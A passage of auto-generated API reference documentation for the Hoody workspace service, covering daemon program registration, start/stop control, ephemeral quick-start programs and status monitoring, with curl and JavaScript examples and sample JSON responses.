- **PATCH** `/api/v1/curl/schedule/{id}/toggle` — Enable or disable a schedule

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Curl:sessions

**Page:** api/curl-sessions

[Download Raw Markdown](./api/curl-sessions.md)

---

## API Endpoints Summary

- **GET** `/api/v1/curl/sessions` — List all cookie sessions
- **GET** `/api/v1/curl/sessions/{id}` — Get session details
- **DELETE** `/api/v1/curl/sessions/{id}` — Delete a session
- **GET** `/api/v1/curl/sessions/{id}/cookies` — Get session cookies only

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Curl:storage

**Page:** api/curl-storage

[Download Raw Markdown](./api/curl-storage.md)

---

## API Endpoints Summary

- **GET** `/api/v1/curl/storage` — List all saved downloads
- **GET** `/api/v1/curl/storage/{path}` — Download a saved file
- **DELETE** `/api/v1/curl/storage/{path}` — Delete a saved file

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Program Control

**Page:** api/daemon/control

[Download Raw Markdown](./api/daemon/control.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Program Control

The Program Control API lets you toggle program registration with supervisord and start or stop running processes. Use these endpoints to activate or deactivate programs, and to trigger lifecycle transitions on demand. For port-range programs, individual instances are controlled by specifying a `port`.

---

### Enable a program

`POST /api/v1/daemon/programs/{id}/enable`

Enables the program and registers it with supervisord. Use this to activate a previously disabled program.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | integer | Yes | Unique numeric identifier of the program |

This endpoint takes no request body.



```bash
curl -X POST "https://api.hoody.com/api/v1/daemon/programs/1/enable" \
  -H "Authorization: Bearer <token>"
```


```javascript
const result = await client.daemon.control.enable({ id: 1 });
```


```json
{
  "success": true,
  "program": {
    "id": 1,
    "name": "web-server",
    "description": "Nginx web server",
    "enabled": true,
    "command": "nginx -g \"daemon off;\"",
    "boot": true,
    "delay_seconds": 5,
    "autorestart": "unexpected",
    "user": "www-data",
    "environment": {},
    "directory": "/var/www",
    "priority": 999
  }
}
```


```json
{
  "success": false,
  "error": "Program with ID 999 not found"
}
```



---

### Disable a program

`POST /api/v1/daemon/programs/{id}/disable`

Disables the program and removes it from supervisord configuration. The program will be stopped if currently running.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | integer | Yes | Unique numeric identifier of the program |

This endpoint takes no request body.



```bash
curl -X POST "https://api.hoody.com/api/v1/daemon/programs/1/disable" \
  -H "Authorization: Bearer <token>"
```


```javascript
const result = await client.daemon.control.disable({ id: 1 });
```


```json
{
  "success": true,
  "program": {
    "id": 1,
    "name": "web-server",
    "description": "Nginx web server",
    "enabled": false,
    "command": "nginx -g \"daemon off;\"",
    "boot": true,
    "delay_seconds": 5,
    "autorestart": "unexpected",
    "user": "www-data",
    "environment": {},
    "directory": "/var/www",
    "priority": 999
  }
}
```


```json
{
  "success": false,
  "error": "Program with ID 999 not found"
}
```



---

### Start a program or port instance

`POST /api/v1/daemon/programs/{id}/start`

Starts the program immediately via supervisorctl. For port-range programs, the `port` parameter is required to specify which instance to start. Set `wait: true` to block until the program reaches the `RUNNING` state. Set `if_not_running: true` for idempotent calls (safe to invoke multiple times) — recommended for Hoody Proxy automation. The program must be enabled.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | integer | Yes | Unique numeric identifier of the program |

#### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `port` | integer | No | — | Port number to start (required for port-range programs). Range: 1–65535. |
| `wait` | boolean | No | `false` | Wait for the program to reach `RUNNING` state before returning. |
| `timeout` | integer | No | `30` | Timeout in seconds when `wait` is `true`. Range: 1–300. |
| `if_not_running` | boolean | No | `false` | Only start if not already running (idempotent mode). Returns an `already_running` field in the response. Use this for Hoody Proxy automation. |

**Example: Start specific port instance**
```json
{
  "port": 8042
}
```

**Example: Start and wait for RUNNING state**
```json
{
  "port": 8042,
  "wait": true,
  "timeout": 60
}
```

**Example: Idempotent start (Hoody Proxy usage)**
```json
{
  "port": 8042,
  "if_not_running": true
}
```

**Example: Idempotent start with wait**
```json
{
  "port": 8042,
  "if_not_running": true,
  "wait": true,
  "timeout": 60
}
```



```bash
curl -X POST "https://api.hoody.com/api/v1/daemon/programs/42/start" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "port": 8042,
    "wait": true,
    "timeout": 60
  }'
```


```javascript
const result = await client.daemon.control.start({
  id: 42,
  data: {
    port: 8042,
    wait: true,
    timeout: 60
  }
});
```


```json
{
  "success": true,
  "instance": {
    "port": 8042,
    "instance_name": "api-server_8042",
    "status": "STARTING"
  }
}
```


```json
{
  "success": true,
  "already_running": true,
  "instance": {
    "port": 8042,
    "instance_name": "api-server_8042",
    "status": "RUNNING",
    "pid": 12345,
    "uptime": "0:15:30"
  }
}
```


```json
{
  "success": true,
  "already_running": false,
  "instance": {
    "port": 8042,
    "instance_name": "api-server_8042",
    "status": "STARTING"
  }
}
```


```json
{
  "success": false,
  "error": "Port parameter is required for port-range programs"
}
```


```json
{
  "success": false,
  "error": "Port must be between 1 and 65535"
}
```


```json
{
  "success": false,
  "error": "Program with ID 999 not found"
}
```



---

### Stop a program or port instance

`POST /api/v1/daemon/programs/{id}/stop`

Stops the program immediately via supervisorctl. For port-range programs, specify `port` to stop a specific instance or `all: true` to stop all instances.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | integer | Yes | Unique numeric identifier of the program |

#### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `port` | integer | No | — | Specific port instance to stop. Range: 1–65535. |
| `all` | boolean | No | — | Stop all instances (for port-range programs). |

**Example: Stop specific port instance**
```json
{
  "port": 8042
}
```

**Example: Stop all instances**
```json
{
  "all": true
}
```



```bash
curl -X POST "https://api.hoody.com/api/v1/daemon/programs/42/stop" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "port": 8042
  }'
```


```javascript
const result = await client.daemon.control.stop({
  id: 42,
  data: {
    port: 8042
  }
});
```


```json
{
  "success": true
}
```


```json
{
  "success": false,
  "error": "Specify either 'port' or 'all: true', not both"
}
```


```json
{
  "success": false,
  "error": "Program with ID 999 not found"
}
```




For Hoody Proxy automation, use `if_not_running: true` on the start endpoint to make calls idempotent. This prevents errors when the instance is already running and lets the proxy safely retry ensures-started logic.

---

# Hoody Daemons

**Page:** api/daemon/index

[Download Raw Markdown](./api/daemon/index.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Hoody Daemon service provides programmatic control over background processes, programs, and services running within your Hoody workspace. It enables you to manage the full lifecycle of daemon programs — from registration and configuration to runtime control and monitoring — through a consistent REST API.

Use these endpoints when you need to automate process management, integrate daemon controls into your workflows, or build observability tooling around workspace services.

## Available Endpoints


  
    Register, retrieve, update, and remove daemon programs. Manage program metadata, commands, environment variables, and working directories.

    [View Daemon Management &rarr;](/api/daemon/management/)
  
  
    Enable, disable, start, and stop programs at runtime. Control the operational state of registered daemons without modifying their configuration.

    [View Program Control &rarr;](/api/daemon/control/)
  
  
    Retrieve program status, list running processes, and monitor daemon health. Inspect uptime, PID, memory, and CPU metrics.

    [View Status & Monitoring &rarr;](/api/daemon/monitoring/)
  



All Daemon API endpoints require a valid workspace token in the `Authorization` header as `Bearer &lt;token&gt;`. Operations are scoped to the workspace associated with the authenticated token.

---

# Daemon Management

**Page:** api/daemon/management

[Download Raw Markdown](./api/daemon/management.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Daemon Management API lets you list, inspect, create, update, and remove supervised programs running in your container. It also covers ephemeral ("Quick Start") programs — short-lived processes that auto-clean when stopped or on container reboot. Use these endpoints to register custom applications (Node.js, Python, Ruby, custom binaries) and manage their lifecycle. System services (`apache2`, `nginx`, `postgresql`, `mysql`, etc.) are managed separately via `systemctl`.


Custom programs only. Endpoints in this section target supervised user programs. For system services, use the `systemctl` API instead.


---

## Programs

### `GET /api/v1/daemon/programs`

Retrieves a complete list of all configured daemon programs with their full configuration details. Supports multiple filters that can be combined: `hoody_kit`, `lazy_load`, `enabled`, `boot`. Optionally include runtime status and resource stats for each program.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `hoody_kit` | query | string | No | Filter by hoody_kit status. Use `"true"` for Hoody Kit programs only, `"false"` for official programs only. |
| `lazy_load` | query | string | No | Filter by lazy_load status. Use `"true"` for lazy-loaded programs only (started on-demand), `"false"` for programs that auto-start. |
| `enabled` | query | string | No | Filter by enabled status. Use `"true"` for enabled programs only, `"false"` for disabled programs only. |
| `boot` | query | string | No | Filter by boot status. Use `"true"` for programs that auto-start on system boot, `"false"` for manual-start programs. |
| `port` | query | integer | No | Filter programs by single port number. Returns only programs whose `port_range` includes this specific port. |
| `port_from` | query | integer | No | Filter by port range start (must be used with `port_to`). Returns programs whose port ranges overlap with the specified range. |
| `port_to` | query | integer | No | Filter by port range end (must be used with `port_from`). Returns programs whose port ranges overlap with the specified range. |
| `include_status` | query | string | No | Include runtime status for each program. When `true`, adds a `status` field to each program showing current running state, instances, and process details. |
| `include_stats` | query | string | No | Include resource stats (CPU, memory, process tree) for each running program. Implies `include_status=true`. Adds a `stats` field with `pid`, `started_at`, `cpu_percent`, `memory_rss_bytes`, `process_count`, and per-process breakdown. Only present for running programs. |




```bash
curl "https://your-host/api/v1/daemon/programs?enabled=true&include_status=true"
```




```js
// List all enabled programs with runtime status
const programs = await client.daemon.programs.listIterator({
  enabled: "true",
  include_status: "true"
});
```




#### Response




**Multiple programs configured**

```json
{
  "programs": [
    {
      "id": 1,
      "name": "web-server",
      "description": "Nginx web server",
      "enabled": true,
      "command": "nginx -g \"daemon off;\"",
      "boot": true,
      "delay_seconds": 5,
      "autorestart": "unexpected",
      "user": "www-data",
      "environment": {
        "NGINX_PORT": "80"
      },
      "directory": "/var/www",
      "priority": 999,
      "stdout_logfile": "/var/log/nginx/access.log",
      "stderr_logfile": "/var/log/nginx/error.log",
      "hoody_kit": false
    },
    {
      "id": 2,
      "name": "nodejs-app",
      "description": "Production Node.js application",
      "enabled": true,
      "command": "node server.js",
      "boot": true,
      "delay_seconds": 10,
      "autorestart": "unexpected",
      "user": "nodejs",
      "environment": {
        "NODE_ENV": "production",
        "PORT": "3000"
      },
      "directory": "/opt/myapp",
      "priority": 100,
      "stdout_logfile": "/var/log/myapp/stdout.log",
      "stderr_logfile": "/var/log/myapp/stderr.log",
      "hoody_kit": false
    }
  ]
}
```

**No programs configured**

```json
{
  "programs": []
}
```




---

### `GET /api/v1/daemon/programs/{id}`

Retrieves detailed configuration for a single program by its unique ID. Returns complete program configuration including all optional fields.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | integer | Yes | Unique numeric identifier of the program. |




```bash
curl "https://your-host/api/v1/daemon/programs/1"
```




```js
const program = await client.daemon.programs.get({ id: 1 });
```




#### Response




```json
{
  "success": true,
  "program": {
    "id": 1,
    "name": "web-server",
    "description": "Nginx web server",
    "enabled": true,
    "command": "nginx -g \"daemon off;\"",
    "boot": true,
    "delay_seconds": 5,
    "autorestart": "unexpected",
    "user": "www-data",
    "environment": {},
    "directory": "/var/www",
    "priority": 999
  }
}
```




```json
{
  "success": false,
  "error": "Program with ID 999 not found"
}
```




---

### `POST /api/v1/daemon/programs/add`

Creates a new daemon program from a JSON request body. The program is validated, added to the configuration, and registered with supervisord if enabled.


Custom programs only — your own code/scripts (e.g. `node app.js`, `python my_script.py`, `./my-binary`). Do not use this endpoint for system services such as `apache2`, `nginx`, `postgresql`, or `mysql`; manage those with `systemctl`.


### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `name` | string | Yes | Program name — must be unique, cannot contain quotes. |
| `command` | string | Yes | Full command to execute including all arguments. Use for custom programs only. |
| `user` | string | Yes | System user account to run the program as (must exist on the system). |
| `id` | integer | No | Specific ID to assign (auto-assigned if not provided). |
| `description` | string | No | Human-readable description (max 500 chars). |
| `enabled` | boolean | No | Enable the program immediately. Default: `true`. |
| `boot` | boolean | No | Start automatically on system boot. Default: `false`. |
| `delay_seconds` | integer | No | Startup delay in seconds (0–3600). Default: `0`. |
| `autorestart` | string | No | Restart policy. One of `"true"`, `"false"`, `"unexpected"`. Default: `"unexpected"`. |
| `directory` | string | No | Working directory path. |
| `priority` | integer | No | Start priority (1–999, lower starts first). Default: `999`. |
| `stdout_logfile` | string | No | Path for standard output log. |
| `stderr_logfile` | string | No | Path for standard error log. |
| `logs_enabled` | boolean | No | Whether logging is enabled. Default: `true`. |
| `log_max_bytes` | integer | No | Maximum size of each log file in bytes before rotation. Default: `5242880` (5MB). |
| `log_backups` | integer | No | Number of rotated backup log files to keep. Default: `2`. |
| `environment` | object | No | Environment variables as key-value string pairs. |
| `hoody_kit` | boolean | No | Whether this is a Hoody Kit program (auto-detected from directory path). Default: `false`. |
| `port_range` | object | No | Port range for multi-instance programs. Requires `start` and `end`. |
| `port_param` | string | No | Parameter name for passing port (e.g. `"--port"`). Default: `"--port"`. |
| `lazy_load` | boolean | No | Enable lazy loading (autostart=false). Cannot be combined with `boot:true`. Default: `false`. |
| `display` | string | No | X11 DISPLAY number for GUI programs (e.g. `":1"`). |
| `terminal_id` | integer | No | Hoody Terminal session ID (1–65535) for web-based terminal access. |
| `terminal_shell` | string | No | Shell for environment loading. One of `"bash"`, `"zsh"`, `"fish"`, `"sh"`, `"tmux"`. |
| `terminal_interactive` | boolean | No | Override interactive vs service mode. |
| `webhooks` | object | No | Webhook notification configuration for lifecycle events. |




```bash
curl -X POST "https://your-host/api/v1/daemon/programs/add" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "nodejs-app",
    "description": "Production Node.js application",
    "command": "node server.js",
    "user": "nodejs",
    "enabled": true,
    "boot": true,
    "delay_seconds": 10,
    "autorestart": "unexpected",
    "directory": "/opt/myapp",
    "priority": 100,
    "environment": {
      "NODE_ENV": "production",
      "PORT": "3000",
      "DATABASE_URL": "postgresql://localhost/mydb"
    },
    "stdout_logfile": "/var/log/myapp/stdout.log",
    "stderr_logfile": "/var/log/myapp/stderr.log"
  }'
```




```js
const result = await client.daemon.programs.add({
  name: "nodejs-app",
  description: "Production Node.js application",
  command: "node server.js",
  user: "nodejs",
  enabled: true,
  boot: true,
  delay_seconds: 10,
  autorestart: "unexpected",
  directory: "/opt/myapp",
  priority: 100,
  environment: {
    NODE_ENV: "production",
    PORT: "3000",
    DATABASE_URL: "postgresql://localhost/mydb"
  },
  stdout_logfile: "/var/log/myapp/stdout.log",
  stderr_logfile: "/var/log/myapp/stderr.log"
});
```




#### Response




```json
{
  "success": true,
  "id": 2,
  "program": {
    "id": 2,
    "name": "nodejs-app",
    "description": "Node.js application",
    "enabled": true,
    "command": "node app.js",
    "boot": false,
    "delay_seconds": 0,
    "autorestart": "unexpected",
    "user": "nodejs",
    "environment": {
      "NODE_ENV": "production"
    },
    "directory": "/opt/app",
    "priority": 999
  }
}
```




**Validation error**

```json
{
  "success": false,
  "error": "Field 'command' is required and must be a non-empty string"
}
```

**System user does not exist**

```json
{
  "success": false,
  "error": "User \"invalid-user\" does not exist on the system"
}
```




---

### `POST /api/v1/daemon/programs/edit/{id}`

Updates an existing program configuration using JSON request body. Only provided fields will be updated — unspecified fields retain their current values.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | integer | Yes | Unique numeric identifier of the program. |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `name` | string | No | Program name — must be unique, cannot contain quotes. |
| `command` | string | No | Full command to execute including all arguments. |
| `user` | string | No | System user account to run the program as. |
| `description` | string | No | Human-readable description (max 500 chars). |
| `enabled` | boolean | No | Whether the program is currently enabled. |
| `boot` | boolean | No | Start automatically on system boot. |
| `delay_seconds` | integer | No | Startup delay in seconds (0–3600). |
| `autorestart` | string | No | Restart policy. One of `"true"`, `"false"`, `"unexpected"`. |
| `directory` | string | No | Working directory path. |
| `priority` | integer | No | Start priority (1–999). |
| `environment` | object | No | Environment variables as key-value string pairs. |
| `webhooks` | object | No | Webhook notification configuration. |
| `lazy_load` | boolean | No | Enable lazy loading. Cannot be combined with `boot:true`. |
| `display` | string | No | X11 DISPLAY number for GUI programs. |
| `terminal_id` | integer | No | Hoody Terminal session ID (1–65535). |
| `terminal_shell` | string | No | Shell for environment loading. |
| `stdout_logfile` | string | No | Path for standard output log. |
| `stderr_logfile` | string | No | Path for standard error log. |




```bash
curl -X POST "https://your-host/api/v1/daemon/programs/edit/1" \
  -H "Content-Type: application/json" \
  -d '{
    "description": "Updated description",
    "command": "node server.js --production",
    "environment": {
      "NODE_ENV": "production",
      "PORT": "8080"
    }
  }'
```




```js
const result = await client.daemon.programs.edit({
  id: 1,
  description: "Updated description",
  command: "node server.js --production",
  environment: {
    NODE_ENV: "production",
    PORT: "8080"
  }
});
```




#### Response




```json
{
  "success": true,
  "program": {
    "id": 1,
    "name": "nodejs-app",
    "description": "Updated description",
    "enabled": true,
    "command": "node server.js --production",
    "boot": true,
    "delay_seconds": 5,
    "autorestart": "unexpected",
    "user": "nodejs",
    "environment": {
      "NODE_ENV": "production",
      "PORT": "8080"
    },
    "directory": "/opt/app",
    "priority": 999
  }
}
```




```json
{
  "success": false,
  "error": "Field 'autorestart' must be one of: true, false, unexpected"
}
```




```json
{
  "success": false,
  "error": "Program with ID 1 not found"
}
```




---

### `POST /api/v1/daemon/programs/remove/{id}`

Permanently deletes a program from the configuration. If the program is running, it will be stopped before removal. This is a destructive operation that cannot be undone.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | integer | Yes | Unique numeric identifier of the program. |




```bash
curl -X POST "https://your-host/api/v1/daemon/programs/remove/1"
```




```js
await client.daemon.programs.remove({ id: 1 });
```




#### Response




```json
{
  "success": true,
  "id": 1
}
```




```json
{
  "success": false,
  "error": "Program with ID 1 not found"
}
```




---

### `POST /api/v1/daemon/programs/reset`

Replaces the current `programs.json` with the initial default snapshot (`programs.default.json`) created at container setup time. Stops all managed programs, removes their supervisord configs, and re-applies the default boot programs. Use this when programs have been misconfigured and a clean slate is needed.




```bash
curl -X POST "https://your-host/api/v1/daemon/programs/reset"
```




```js
await client.daemon.programs.reset();
```




#### Response




```json
{
  "success": true
}
```




```json
{
  "success": false,
  "error": "Default programs file (programs.default.json) is missing or corrupt"
}
```




---

## Quick Start (Ephemeral Programs)

Quick Start lets you run temporary custom programs that auto-clean when stopped or on container reboot. Programs are not saved to `programs.json`; they are tracked in `ephemeral.json` for crash recovery. Use them for one-off data migrations, temporary test servers, debug tasks, CI/CD ephemeral environments, and custom batch jobs. For permanent programs that must survive reboots, use `POST /api/v1/daemon/programs/add`.

### `GET /api/v1/daemon/quick-start`

Returns all currently tracked ephemeral programs with their current runtime status. Shows programs that are running or pending cleanup.

This endpoint takes no parameters.




```bash
curl "https://your-host/api/v1/daemon/quick-start"
```




```js
const ephemeral = await client.daemon.quickStart.listIterator();
```




#### Response




**Multiple ephemeral programs**

```json
{
  "success": true,
  "count": 2,
  "ephemeral_programs": [
    {
      "temporary_id": "quick_1731605123",
      "name": "quick_python_1731605123",
      "command": "python batch-job.py",
      "user": "worker",
      "status": "running",
      "created_at": "2024-11-14T18:32:03Z",
      "uptime": "0:05:32"
    },
    {
      "temporary_id": "quick_1731605456",
      "name": "my-temp-server",
      "command": "node server.js",
      "user": "nodejs",
      "status": "running",
      "created_at": "2024-11-14T18:37:36Z",
      "expires_at": "2024-11-14T19:37:36Z",
      "uptime": "0:00:08"
    }
  ]
}
```

**No ephemeral programs**

```json
{
  "success": true,
  "count": 0,
  "ephemeral_programs": []
}
```




---

### `GET /api/v1/daemon/quick-start/{id}/status`

Retrieves current runtime status for a specific ephemeral program by its `temporary_id`.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Temporary ID of the ephemeral program (format: `quick_<timestamp>`). |




```bash
curl "https://your-host/api/v1/daemon/quick-start/quick_1731605123/status"
```




```js
const status = await client.daemon.quickStart.getStatus({ id: "quick_1731605123" });
```




#### Response




**Program is running**

```json
{
  "success": true,
  "temporary_id": "quick_1731605123",
  "name": "quick_python_1731605123",
  "status": "running",
  "pid": 12345,
  "uptime": "0:15:30",
  "created_at": "2024-11-14T18:32:03Z"
}
```

**Program is stopped**

```json
{
  "success": true,
  "temporary_id": "quick_1731605123",
  "name": "quick_python_1731605123",
  "status": "stopped",
  "created_at": "2024-11-14T18:32:03Z"
}
```

**Program with TTL expiry**

```json
{
  "success": true,
  "temporary_id": "quick_1731605456",
  "name": "my-temp-server",
  "status": "running",
  "pid": 12350,
  "uptime": "0:02:10",
  "created_at": "2024-11-14T18:37:36Z",
  "expires_at": "2024-11-14T19:37:36Z"
}
```




```json
{
  "success": false,
  "error": "Ephemeral program with ID quick_1731605123 not found"
}
```




---

### `GET /api/v1/daemon/quick-start/{id}/logs`

Retrieve the last N lines from an ephemeral program's stdout or stderr log file.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Ephemeral program temporary ID. |
| `type` | query | string | No | Log stream. One of `"stdout"`, `"stderr"`. Default: `"stdout"`. |
| `lines` | query | integer | No | Number of lines to return from end of file. Default: `100`. |




```bash
curl "https://your-host/api/v1/daemon/quick-start/quick_1731605123/logs?type=stdout&lines=50"
```




```js
const logs = await client.daemon.quickStart.getEphemeralLogs({
  id: "quick_1731605123",
  type: "stdout",
  lines: 50
});
```




#### Response




```json
{
  "success": true,
  "logs": "2024-11-14 18:32:03 INFO Starting batch job\n2024-11-14 18:32:05 INFO Processing 100 records\n2024-11-14 18:32:10 INFO Job completed",
  "type": "stdout",
  "lines": 100,
  "log_file": "/var/log/myapp/stdout.log"
}
```




```json
{
  "success": false,
  "error": "Invalid 'type' value: must be 'stdout' or 'stderr'"
}
```




```json
{
  "success": false,
  "error": "Ephemeral program with ID quick_1731605123 not found"
}
```




---

### `POST /api/v1/daemon/quick-start`

Creates and starts a temporary custom program that auto-cleans when stopped or on container reboot. Custom programs only — system services (`apache2`, `nginx`, etc.) belong under `systemctl`.

Key behaviors:

- Not saved to `programs.json` (temporary only)
- Tracked in `ephemeral.json` for crash recovery
- Always created with `autostart=false` (does not auto-start on reboot)
- Auto-cleanup on: manual stop, program exit, container reboot, TTL expiry
- Full supervisord configuration support (`autorestart`, `environment`, logs, etc.)

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `command` | string | Yes | Command to execute with full arguments for your custom program/script. |
| `user` | string | Yes | System user to run as (must exist on the system). |
| `name` | string | No | Custom name (auto-generated if not provided). Cannot contain quotes. |
| `autorestart` | string | No | Restart policy. One of `"true"`, `"false"`, `"unexpected"`. Default: `"unexpected"`. |
| `directory` | string | No | Working directory (defaults to user home if not specified). |
| `environment` | object | No | Environment variables as key-value string pairs. |
| `priority` | integer | No | Start priority (1–999, lower starts first). Default: `999`. |
| `delay_seconds` | integer | No | Delay before starting (seconds, 0–3600). Default: `0`. |
| `stdout_logfile` | string | No | Path for standard output log. |
| `stderr_logfile` | string | No | Path for standard error log. |
| `logs_enabled` | boolean | No | Whether logging is enabled. Default: `true`. |
| `log_max_bytes` | integer | No | Maximum log file size in bytes before rotation. Default: `5242880` (5MB). |
| `log_backups` | integer | No | Number of rotated backup log files to keep. Default: `2`. |
| `ttl` | integer | No | Time-to-live in seconds. Program auto-stops after this duration (1–86400). |
| `wait` | boolean | No | Wait for program to reach `RUNNING` state before returning. Default: `false`. |
| `timeout` | integer | No | Timeout in seconds when `wait=true` (1–300). Default: `30`. |
| `display` | string | No | X11 DISPLAY number for GUI programs. |
| `terminal_id` | integer | No | Hoody Terminal session ID (1–65535). |
| `terminal_shell` | string | No | Shell for environment loading. One of `"bash"`, `"zsh"`, `"fish"`, `"sh"`, `"tmux"`. |
| `terminal_interactive` | boolean | No | Override interactive vs service mode. |




```bash
curl -X POST "https://your-host/api/v1/daemon/quick-start" \
  -H "Content-Type: application/json" \
  -d '{
    "command": "node test-server.js",
    "user": "nodejs",
    "name": "temp-test-server",
    "directory": "/opt/test",
    "ttl": 1800,
    "environment": {
      "PORT": "9999",
      "NODE_ENV": "test"
    },
    "wait": true
  }'
```




```js
const result = await client.daemon.quickStart.launch({
  command: "node test-server.js",
  user: "nodejs",
  name: "temp-test-server",
  directory: "/opt/test",
  ttl: 1800,
  environment: {
    PORT: "9999",
    NODE_ENV: "test"
  },
  wait: true
});
```




#### Response




**Program started (without wait)**

```json
{
  "success": true,
  "temporary_id": "quick_1731605123",
  "name": "quick_node_1731605123",
  "status": "starting",
  "created_at": "2024-11-14T18:32:03Z"
}
```

**Program started (with wait=true)**

```json
{
  "success": true,
  "temporary_id": "quick_1731605123",
  "name": "temp-test-server",
  "status": "running",
  "pid": 12345,
  "uptime": "0:00:05",
  "created_at": "2024-11-14T18:32:03Z"
}
```

**Program with TTL (auto-stop)**

```json
{
  "success": true,
  "temporary_id": "quick_1731605456",
  "name": "temp-test-server",
  "status": "running",
  "pid": 12350,
  "uptime": "0:00:08",
  "created_at": "2024-11-14T18:37:36Z",
  "expires_at": "2024-11-14T19:37:36Z"
}
```




**Required field missing**

```json
{
  "success": false,
  "error": "Field 'command' is required and must be a non-empty string"
}
```

**System user does not exist**

```json
{
  "success": false,
  "error": "User \"invalid-user\" does not exist on the system"
}
```

**Directory does not exist**

```json
{
  "success": false,
  "error": "Working directory '/opt/missing' does not exist"
}
```

**Name contains quotes**

```json
{
  "success": false,
  "error": "Name must not contain quote characters"
}
```




---

### `POST /api/v1/daemon/quick-start/{id}/stop`

Stops the ephemeral program and removes its configuration completely.

Actions performed:

1. Stop program via `supervisorctl`
2. Delete supervisord config file
3. Remove from `ephemeral.json` tracking
4. Update supervisord

Result: program is completely removed from the system (cannot be restarted).

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Temporary ID of the ephemeral program to stop. |




```bash
curl -X POST "https://your-host/api/v1/daemon/quick-start/quick_1731605123/stop"
```




```js
await client.daemon.quickStart.stop({ id: "quick_1731605123" });
```




#### Response




```json
{
  "success": true,
  "temporary_id": "quick_1731605123",
  "cleaned_up": true,
  "message": "Program stopped and configuration removed"
}
```




```json
{
  "success": false,
  "error": "Ephemeral program with ID quick_1731605123 not found"
}
```

---

# Status & Monitoring

**Page:** api/daemon/monitoring

[Download Raw Markdown](./api/daemon/monitoring.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Status & Monitoring

Use these endpoints to check the daemon's health, retrieve runtime status for individual programs or the full program set, and fetch recent log output for debugging.

---

## Health check

### `GET /api/v1/daemon/health`

Returns the standardized 9-field health response. Unauthenticated. Always returns HTTP `200` with `Content-Type: application/json` when the service is up.

This endpoint takes no parameters.



```bash
curl -X GET https://daemon.hoody.com/api/v1/daemon/health
```


```typescript
const health = await client.daemon.health.check();
```


```json
{
  "status": "ok",
  "service": "hoody-daemon",
  "built": "2025-01-15T10:30:00Z",
  "started": "2025-01-20T08:00:00Z",
  "memory": {
    "rss": 12582912,
    "heap": null
  },
  "fds": 42,
  "pid": 1234,
  "ip": "192.168.1.100",
  "userAgent": "hoody-cli/1.0.0"
}
```



---

## Program status

### `GET /api/v1/daemon/status`

Retrieves the current runtime status of all configured programs. Returns information about whether each program is running, stopped, or in another state, along with process details for running programs.

This endpoint takes no parameters.



```bash
curl -X GET https://daemon.hoody.com/api/v1/daemon/status
```


```typescript
const allStatus = await client.daemon.status.getAll();
```


```json
{
  "success": true,
  "statuses": [
    {
      "id": 1,
      "name": "web-server",
      "enabled": true,
      "status": {
        "id": 1,
        "status": "RUNNING",
        "pid": 1234,
        "uptime": "2:15:30"
      }
    },
    {
      "id": 2,
      "name": "nodejs-app",
      "enabled": false,
      "status": {
        "id": 2,
        "status": "STOPPED"
      }
    }
  ]
}
```


```json
{
  "success": true,
  "statuses": [
    {
      "id": 1,
      "name": "web-server",
      "enabled": true,
      "status": {
        "id": 1,
        "status": "RUNNING",
        "pid": 1234,
        "uptime": "0:05:12"
      }
    },
    {
      "id": 2,
      "name": "api-service",
      "enabled": true,
      "status": {
        "id": 2,
        "status": "RUNNING",
        "pid": 1235,
        "uptime": "0:04:58"
      }
    }
  ]
}
```



### `GET /api/v1/daemon/status/{id}`

Retrieves the current runtime status of a specific program by ID. For port-range programs, returns all running instances unless a specific port is requested via query parameter. Returns detailed process information including PID and uptime.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | integer | Yes | Unique numeric identifier of the program |
| `port` | query | integer | No | Filter to specific port instance (for port-range programs only) |
| `include_stats` | query | string | No | Include resource stats (CPU, memory, process tree) for running programs. Adds a `stats` field with `pid`, `started_at`, `cpu_percent`, `memory_rss_bytes`, `process_count`, and per-process breakdown. Allowed values: `"true"`, `"false"`. |



```bash
curl -X GET "https://daemon.hoody.com/api/v1/daemon/status/1?port=8080&include_stats=true"
```


```typescript
const status = await client.daemon.status.get({
  id: 1,
  port: 8080,
  include_stats: "true",
});
```


```json
{
  "success": true,
  "status": {
    "id": 1,
    "status": "RUNNING",
    "pid": 1234,
    "uptime": "2:15:30"
  }
}
```


```json
{
  "success": true,
  "status": {
    "id": 2,
    "status": "STOPPED"
  }
}
```


```json
{
  "success": true,
  "status": {
    "id": 3,
